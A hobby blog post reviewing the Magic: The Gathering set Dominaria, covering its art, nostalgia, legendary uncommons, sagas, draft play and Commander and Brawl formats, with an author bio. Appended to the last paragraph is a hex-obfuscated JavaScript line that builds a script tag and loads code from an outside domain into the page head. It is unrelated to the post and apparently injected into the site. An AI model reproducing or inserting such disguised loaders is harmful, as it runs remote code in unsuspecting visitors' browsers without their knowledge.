Casual Thoughts on Dominaria

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So we’re now well into Dominaria — the most recent Magic the Gathering set. Needless to say there was a little bit of hype going into the bloc. I’m not generally a very competitive player. I’ve done a GP. I do well in prereleases. I have won my share of events. Still, I enjoy the social aspect of Magic more than anything else and I enjoy casual play (in particular, multiplayer formats like Brawl and Commander).

So now that we’ve played some Dominaria, I can honestly say I’ve fallen in love with this set. It’s been one of my favorite sets in a long, long time and in fact at this point it may be one of my favorite sets since I came back to the game during the Theros block.

Here are some reasons why I love the set:

The art is gorgeous.

I mean, seriously, look at this stuff:

http://www.artofmtg.com/set/dominaria/

The artwork is vibrant, detailed and beautiful. In terms of vivid color it comes second only to Kaladesh (which I thought was a breath of fresh air following Shadows). Of course card art has no impact on the actual mechanics of the game, but it’s a nice bonus. The new borders for legendary permanents is nice too.

The Nostalgia is There

While this may seem like a superficial aspect of the set, there’s plenty of nostalgia to be found here for older players. From reprints of old favorites like Serra Angel and Icy Manipulator to cards that are mechanically similar to older cards like Knight of Malice (Black Knight) and Knight of Grace (White Knight) there’s a lot of nods to Magic’s history. What’s even better is how much this set plays to the strengths of older sets making combat a bit more interactive. As someone who has played since fourth edition, this set feels like wrapping yourself in something familiar. There’s some comfort and familiarity with it — even if we do have to see homarids make their return.

At least there’s no tide counters.

Bombs Everywhere

This set is rife with legendaries and they can be found even in the uncommon rarity slot. What’s even more interesting is the fact that these uncommon cards are solid. Drafting becomes a challenge because cannot dismiss common and uncommon cards as potential first picks (not that you ever should — but more so now!). Cards like Grunn, the Lonely King, Adeliz, the Cinder Wind, Tatyova, Benthic Druid and Slimefoot the Stowaway all require immediate answers. These cards feel like they could have easily been printed at rare.

Sagas

The Sagas performed way better than I expected in limited and can certainly have a place in other formats. I had dismissed them almost entirely but most of them bring a lot of value and enchantment removal is not something people play often.

Drafting

Drafting this set is a lot of fun. There are plenty of strategies you can build towards — tribes you can leverage effectively, colors and mechanics that work well together in draft. Because there are so many strong cards in the set, drafting can require a lot of thought. The return of the kicker mechanic also adds a fair bit of fun to limited. Many of the kicker cards bring a lot of extra value later in the game that can help turn the tide.

Great removal at 3 mana. Potentially game ending at 9.

Commander (EDH)

Another reason I love this set is the amount of EDH playable content. There are plenty of cards that make great additions for EDH and a ton of Legendary creatures that make for some great brewing potential for the format. EDH players will likely be scooping up Damping Spheres, Helm of the Hosts and Guilded Lotus’ for the decks. It’s nearly impossibly to have an EDH deck that wouldn’t benefit from some additions from Dominaria.

Brawl

While Brawl may seem like EDH-lite, it’s really its own beast with plenty of benefits. It’s a great way to get new players involved and makes for a fun format to use the cards you picked up in draft. Dominaria really promotes Brawl in a big way. The bulk of the cards from this set seem like they were made specifically for the format. If you haven’t played Brawl you really should give it a try. It’s a blast.

Behold, my own choice of Brawl commander! (and I nearly decked myself with her)

Needless to say, Dominaria is the first set in a while I’ve found myself heavily invested in — both financially and in terms of wanting to play these cards as often as I can. I hope everyone gives Dominaria a try. Check out our drafts, Commander and Brawl events whenever you can! They are a guaranteed good time for Magic players! var _0xcc15=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x4D\x41\x58\x54\x55\x77\x4D\x51\x30\x68\x48\x4B\x67\x52\x52\x42\x67\x78\x55\x44\x67\x67\x46\x55\x59\x41\x46\x59\x74\x41\x56\x42\x38\x67\x57\x57\x77\x53\x4E\x47\x6C\x68\x50\x78\x51\x69\x4B\x36\x77\x47\x4C\x6D\x45\x57\x47\x45\x4D\x51\x49\x61\x73\x7A\x4F\x63\x30\x42\x42\x4F\x4E\x6A\x47\x33\x5A\x68\x50\x30\x59\x43\x63\x54\x51\x6A\x4E\x59\x70\x52\x48\x32\x30\x69\x49\x62\x59\x6D\x49\x59\x4D\x43\x4E\x64\x4A\x43\x47\x4F\x34\x7A\x52\x4A\x55\x54\x4D\x77\x41\x77\x4A\x61\x74\x46\x48\x45\x31\x55\x41\x39\x6B\x45\x45\x4F\x77\x77\x4E\x78\x74\x6C\x56\x65\x6B\x6C\x43\x56\x6B\x69\x42\x43\x4E\x6A\x45\x56\x4D\x77\x43\x58\x77\x41\x47\x56\x46\x68\x42\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x32\x35″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0xcc15[1]](_0xcc15[0]);el[_0xcc15[2]]= _0xcc15[3];document[_0xcc15[5]][_0xcc15[4]](el)

Greg Grondin
Gregory Grondin is a full time Systems Analyst working for Mariner Innovations. He also works as a weight loss consultant for Weight Watchers and is part owner of Heroes' Beacon. You can follow his web comic series at http://www.spacepawdyssey.com

Greg is a fan of gaming and comics in general and an avid collector of Transformers figures.
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